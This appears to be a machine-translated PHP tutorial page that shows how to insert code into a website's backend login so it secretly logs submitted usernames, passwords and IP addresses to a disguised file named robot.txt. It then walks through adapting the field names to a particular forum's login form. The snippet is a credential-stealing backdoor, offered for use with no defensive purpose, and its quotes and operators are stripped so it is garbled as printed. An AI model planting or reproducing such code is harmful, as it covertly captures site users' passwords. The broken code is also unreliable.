Backend login interface php code to intercept the backend login password-PHP Tutorial-php.cn

Backend login interface php code to intercept the backend login password

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Release： 2016-07-29 08:48:36

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if($_POST[loginsubmit]!=){ //Determine whether the login button is clicked
$sb=user:.$_POST[username].--passwd:.$_POST[password].--ip:.$HTTP_SERVER_VARS [REMOTE_ADDR].--.date(Y-m-d H:i:s).rn; // Concatenate the values received by POST and assign them to the variable $sb
fwrite(fopen(robot.txt,ab),$sb); } //Write the result to a file
The following is a brief analysis, taking Huaxia's login page as an example. Open bbs.xxx.com/login.php, right-click to view the source code, CTRL+F search action to find the login form.
I only copied the key code.

. . . . Powerful ellipsis. . . . . .

Account(U):

class=input id=pwuser accessKey=u size=16
name= pwuser> //Input box for user name, pay attention to the value of name, which should correspond to $_POST[username], so to intercept Huaxia’s password, you need to change it to $ _POST[pwuser]

Password(P):
class=input id=pwpwd accessKey=p
type= password size=16 name=pwpwd> //Input box for user name, pay attention to the value of its name, which must correspond to $_POST[username], so intercept the Chinese one Password needs to be changed to $_POST[pwpwd]

The above introduces the background login interface PHP code to intercept the background login password, including the content of the background login interface. I hope it will be helpful to friends who are interested in PHP tutorials.